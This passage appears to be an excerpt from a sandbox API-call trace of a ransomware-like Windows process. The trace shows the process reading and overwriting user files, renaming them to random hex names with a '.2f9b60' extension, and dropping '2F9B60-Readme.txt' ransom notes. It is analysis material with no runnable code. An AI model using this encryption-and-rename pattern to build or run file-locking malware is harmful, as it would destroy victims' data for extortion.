(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a50) returned 1 [0147.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.981] WriteFile (hFile=0x1554, lpBuffer=0x42371d40, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x363af680, lpOverlapped=0x0) [0179.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42371d40) returned 1 [0179.912] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x109ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.912] ReadFile (in: hFile=0x1554, lpBuffer=0x41dc85a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x363af680, lpOverlapped=0x0 | out: lpBuffer=0x41dc85a0*, lpNumberOfBytesRead=0x363af680*=0x3c00, lpOverlapped=0x0) returned 1 [0182.016] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x109ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2edc0 [0182.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2edc0) returned 1 [0182.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43015d20 [0182.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2edc0 [0182.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2edf0 [0182.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2edf0) returned 1 [0182.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.020] WriteFile (in: hFile=0x1554, lpBuffer=0x43015d20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x363af680, lpOverlapped=0x0 | out: lpBuffer=0x43015d20*, lpNumberOfBytesWritten=0x363af680*=0x3c00, lpOverlapped=0x0) returned 1 [0198.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43015d20) returned 1 [0198.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309fb40 [0198.784] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.785] WriteFile (in: hFile=0x1554, lpBuffer=0x431f5220*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x363af730, lpOverlapped=0x0 | out: lpBuffer=0x431f5220*, lpNumberOfBytesWritten=0x363af730*=0x158, lpOverlapped=0x0) returned 1 [0203.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0203.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0203.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860d50 [0203.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860d50) returned 1 [0203.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860d50 [0203.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860db0 [0203.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860fc0 [0203.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860fc0) returned 1 [0203.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0203.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0203.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b7cea00 [0203.745] sprintf (in: _Dest=0x1b7cea00, _Format="%c%c" | out: _Dest="ca") returned 2 [0203.745] sprintf (in: _Dest=0x1b7cea02, _Format="%c%c" | out: _Dest="4d") returned 2 [0203.745] sprintf (in: _Dest=0x1b7cea04, _Format="%c%c" | out: _Dest="fa") returned 2 [0203.745] sprintf (in: _Dest=0x1b7cea06, _Format="%c%c" | out: _Dest="74") returned 2 [0203.745] sprintf (in: _Dest=0x1b7cea08, _Format="%c%c" | out: _Dest="a6") returned 2 [0203.745] sprintf (in: _Dest=0x1b7cea0a, _Format="%c%c" | out: _Dest="19") returned 2 [0203.745] sprintf (in: _Dest=0x1b7cea0c, _Format="%c%c" | out: _Dest="a0") returned 2 [0203.745] sprintf (in: _Dest=0x1b7cea0e, _Format="%c%c" | out: _Dest="79") returned 2 [0203.745] sprintf (in: _Dest=0x1b7cea10, _Format="%c%c" | out: _Dest="f2") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea12, _Format="%c%c" | out: _Dest="86") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea14, _Format="%c%c" | out: _Dest="3c") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea16, _Format="%c%c" | out: _Dest="3c") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea18, _Format="%c%c" | out: _Dest="d6") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea1a, _Format="%c%c" | out: _Dest="e1") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea1c, _Format="%c%c" | out: _Dest="6e") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea1e, _Format="%c%c" | out: _Dest="44") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea20, _Format="%c%c" | out: _Dest="3e") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea22, _Format="%c%c" | out: _Dest="58") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea24, _Format="%c%c" | out: _Dest="be") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea26, _Format="%c%c" | out: _Dest="d1") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea28, _Format="%c%c" | out: _Dest="0b") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea2a, _Format="%c%c" | out: _Dest="89") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea2c, _Format="%c%c" | out: _Dest="12") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea2e, _Format="%c%c" | out: _Dest="8e") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea30, _Format="%c%c" | out: _Dest="13") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea32, _Format="%c%c" | out: _Dest="86") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea34, _Format="%c%c" | out: _Dest="42") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea36, _Format="%c%c" | out: _Dest="e9") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea38, _Format="%c%c" | out: _Dest="a4") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea3a, _Format="%c%c" | out: _Dest="49") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea3c, _Format="%c%c" | out: _Dest="94") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea3e, _Format="%c%c" | out: _Dest="47") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea40, _Format="%c%c" | out: _Dest="d0") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea42, _Format="%c%c" | out: _Dest="a4") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea44, _Format="%c%c" | out: _Dest="bb") returned 2 [0203.746] sprintf (in: _Dest=0x1b7cea46, _Format="%c%c" | out: _Dest="e1") returned 2 [0203.747] sprintf (in: _Dest=0x1b7cea48, _Format="%c%c" | out: _Dest="65") returned 2 [0203.747] sprintf (in: _Dest=0x1b7cea4a, _Format="%c%c" | out: _Dest="63") returned 2 [0203.747] RtlInitAnsiString (in: DestinationString=0x363af7a8, SourceString="ca4dfa74a619a079f2863c3cd6e16e443e58bed10b89128e138642e9a4499447d0a4bbe16563" | out: DestinationString="ca4dfa74a619a079f2863c3cd6e16e443e58bed10b89128e138642e9a4499447d0a4bbe16563") [0203.747] RtlAnsiStringToUnicodeString (in: DestinationString=0x363af778, SourceString="ca4dfa74a619a079f2863c3cd6e16e443e58bed10b89128e138642e9a4499447d0a4bbe16563", AllocateDestinationString=1 | out: DestinationString="ca4dfa74a619a079f2863c3cd6e16e443e58bed10b89128e138642e9a4499447d0a4bbe16563") returned 0x0 [0203.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43131430 [0203.747] wcscat (in: _Dest=0x431c4e00, _Source="ca4dfa74a619a079f28" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ca4dfa74a619a079f28") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ca4dfa74a619a079f28" [0203.747] wcscat (in: _Dest=0x431c4e00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ca4dfa74a619a079f28.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ca4dfa74a619a079f28.2f9b60" [0203.747] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ca4dfa74a619a079f28.2f9b60", NtPathName=0x363af750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\ca4dfa74a619a079f28.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4311b4a0 Thread: id = 1148 os_tid = 0xc0c [0113.130] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url")) returned 0x20 [0113.184] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url", dwFileAttributes=0x20) returned 1 [0113.186] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17c4 [0113.186] GetFileSizeEx (in: hFile=0x17c4, lpFileSize=0x3632fbe0 | out: lpFileSize=0x3632fbe0*=133) returned 1 [0113.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ca0 [0113.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261dc0 [0113.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261cd0 [0113.187] NtQuerySystemTime (in: CurrentTime=0x3632faa0 | out: CurrentTime=0x3632faa0*=132462177186454000) returned 0x0 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x419528c7 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x16ca22e4 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x220c7dc6 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x13ee6981 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x17cf32ea [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x1112b01e [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x5711d28b [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x6a695d4c [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x444f5667 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x6e1b6381 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x18c3a12b [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0xd69af72 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x3614536d [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x19a5dc47 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x325682c2 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x638321bc [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x33ffa598 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x441c717c [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x3c3f8178 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x7ca72375 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x15c800c6 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x25c0132e [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x4726330f [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x53711571 [0113.187] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x66e712c3 [0113.188] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x58065b0c [0113.188] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x6dedd47a [0113.188] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x536e6b4c [0113.188] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0xad3d55 [0113.188] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x675bede9 [0113.188] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x63c409d1 [0113.188] RtlRandomEx (in: Seed=0x3632fa90 | out: Seed=0x3632fa90) returned 0x200aee55 [0113.199] ReadFile (in: hFile=0x17c4, lpBuffer=0x41dcc1b0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x3632fa90, lpOverlapped=0x0 | out: lpBuffer=0x41dcc1b0*, lpNumberOfBytesRead=0x3632fa90*=0x85, lpOverlapped=0x0) returned 1 [0113.200] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.201] WriteFile (in: hFile=0x17c4, lpBuffer=0x41d53cc0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x3632fa94, lpOverlapped=0x0 | out: lpBuffer=0x41d53cc0*, lpNumberOfBytesWritten=0x3632fa94*=0x85, lpOverlapped=0x0) returned 1 [0113.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0113.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ef0 [0113.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ef0) returned 1 [0113.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d53cc0) returned 1 [0113.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dcc1b0) returned 1 [0113.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0113.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9ec30 [0113.216] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0113.217] WriteFile (in: hFile=0x17c4, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3632fbb0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x3632fbb0*=0x11a, lpOverlapped=0x0) returned 1 [0113.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0113.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0113.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e60 [0113.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e60) returned 1 [0113.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20260e60 [0113.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0113.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ea0 [0113.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ea0) returned 1 [0113.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0113.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9ccd0 [0113.220] sprintf (in: _Dest=0x1cd9ccd0, _Format="%c%c" | out: _Dest="34") returned 2 [0113.220] sprintf (in: _Dest=0x1cd9ccd2, _Format="%c%c" | out: _Dest="e4") returned 2 [0113.220] sprintf (in: _Dest=0x1cd9ccd4, _Format="%c%c" | out: _Dest="da") returned 2 [0113.220] sprintf (in: _Dest=0x1cd9ccd6, _Format="%c%c" | out: _Dest="48") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccd8, _Format="%c%c" | out: _Dest="21") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccda, _Format="%c%c" | out: _Dest="c1") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccdc, _Format="%c%c" | out: _Dest="26") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccde, _Format="%c%c" | out: _Dest="4a") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9cce0, _Format="%c%c" | out: _Dest="e4") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9cce2, _Format="%c%c" | out: _Dest="25") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9cce4, _Format="%c%c" | out: _Dest="e1") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9cce6, _Format="%c%c" | out: _Dest="cf") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9cce8, _Format="%c%c" | out: _Dest="5f") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccea, _Format="%c%c" | out: _Dest="8b") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccec, _Format="%c%c" | out: _Dest="7d") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccee, _Format="%c%c" | out: _Dest="2b") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccf0, _Format="%c%c" | out: _Dest="4c") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccf2, _Format="%c%c" | out: _Dest="ac") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccf4, _Format="%c%c" | out: _Dest="1c") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccf6, _Format="%c%c" | out: _Dest="82") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccf8, _Format="%c%c" | out: _Dest="6b") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccfa, _Format="%c%c" | out: _Dest="ce") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccfc, _Format="%c%c" | out: _Dest="2c") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9ccfe, _Format="%c%c" | out: _Dest="33") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9cd00, _Format="%c%c" | out: _Dest="80") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9cd02, _Format="%c%c" | out: _Dest="c7") returned 2 [0113.221] sprintf (in: _Dest=0x1cd9cd04, _Format="%c%c" | out: _Dest="12") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd06, _Format="%c%c" | out: _Dest="10") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd08, _Format="%c%c" | out: _Dest="cc") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd0a, _Format="%c%c" | out: _Dest="10") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd0c, _Format="%c%c" | out: _Dest="7b") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd0e, _Format="%c%c" | out: _Dest="9b") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd10, _Format="%c%c" | out: _Dest="4c") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd12, _Format="%c%c" | out: _Dest="95") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd14, _Format="%c%c" | out: _Dest="10") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd16, _Format="%c%c" | out: _Dest="b0") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd18, _Format="%c%c" | out: _Dest="07") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd1a, _Format="%c%c" | out: _Dest="05") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd1c, _Format="%c%c" | out: _Dest="91") returned 2 [0113.222] sprintf (in: _Dest=0x1cd9cd1e, _Format="%c%c" | out: _Dest="bb") returned 2 [0113.222] RtlInitAnsiString (in: DestinationString=0x3632fc28, SourceString="34e4da4821c1264ae425e1cf5f8b7d2b4cac1c826bce2c3380c71210cc107b9b4c9510b0070591bb" | out: DestinationString="34e4da4821c1264ae425e1cf5f8b7d2b4cac1c826bce2c3380c71210cc107b9b4c9510b0070591bb") [0113.222] RtlAnsiStringToUnicodeString (in: DestinationString=0x3632fbf8, SourceString="34e4da4821c1264ae425e1cf5f8b7d2b4cac1c826bce2c3380c71210cc107b9b4c9510b0070591bb", AllocateDestinationString=1 | out: DestinationString="34e4da4821c1264ae425e1cf5f8b7d2b4cac1c826bce2c3380c71210cc107b9b4c9510b0070591bb") returned 0x0 [0113.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd65ce0 [0113.222] wcscat (in: _Dest=0x1b85cba0, _Source="34e4da4821c1264ae425" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\34e4da4821c1264ae425") returned="C:\\Users\\Default\\Favorites\\Windows Live\\34e4da4821c1264ae425" [0113.222] wcscat (in: _Dest=0x1b85cba0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\34e4da4821c1264ae425.2f9b60") returned="C:\\Users\\Default\\Favorites\\Windows Live\\34e4da4821c1264ae425.2f9b60" [0113.223] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\Windows Live\\34e4da4821c1264ae425.2f9b60", NtPathName=0x3632fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\Windows Live\\34e4da4821c1264ae425.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0113.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd65d90 [0113.223] NtSetInformationFile (FileHandle=0x17c4, IoStatusBlock=0x3632fc70, FileInformation=0x1cd65d90, Length=0xa6, FileInformationClass=0xa) returned 0x0 [0113.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0113.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0113.224] NtQueryInformationFile (in: FileHandle=0x17c4, IoStatusBlock=0x3632fc38, FileInformation=0x3632fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3632fc38, FileInformation=0x3632fc48) returned 0x0 [0113.224] NtSetInformationFile (FileHandle=0x17c4, IoStatusBlock=0x3632fc38, FileInformation=0x3632fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0113.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0113.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ce0) returned 1 [0113.248] FlushFileBuffers (hFile=0x17c4) returned 1 [0113.573] CloseHandle (hObject=0x17c4) returned 1 [0113.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b868a40 [0113.582] wcscpy (in: _Dest=0x1b868a40, _Source="C:\\Users\\Default\\Favorites\\Windows Live\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\") returned="C:\\Users\\Default\\Favorites\\Windows Live\\" [0113.582] wcscat (in: _Dest=0x1b868a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt" [0113.582] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\windows live\\2f9b60-readme.txt")) returned 0x20 [0113.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0113.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4db60) returned 1 Thread: id = 1149 os_tid = 0xb54 [0113.590] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url")) returned 0x20 [0113.592] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url", dwFileAttributes=0x20) returned 1 [0113.593] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17c4 [0113.593] GetFileSizeEx (in: hFile=0x17c4, lpFileSize=0x1f64f8a0 | out: lpFileSize=0x1f64f8a0*=133) returned 1 [0113.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ad0 [0113.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b60 [0113.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b30 [0113.594] NtQuerySystemTime (in: CurrentTime=0x1f64f760 | out: CurrentTime=0x1f64f760*=132462177190510000) returned 0x0 [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x267a4bef [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x1b915914 [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x5f462333 [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x43c0adff [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x2330f767 [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x4ff07c81 [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x4d5f10f1 [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x74ef5240 [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0xfc7bc58 [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x61173ea6 [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x78ca6383 [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x7fb6ab6a [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | out: Seed=0x1f64f750) returned 0x3518c633 [0113.594] RtlRandomEx (in: Seed=0x1f64f750 | 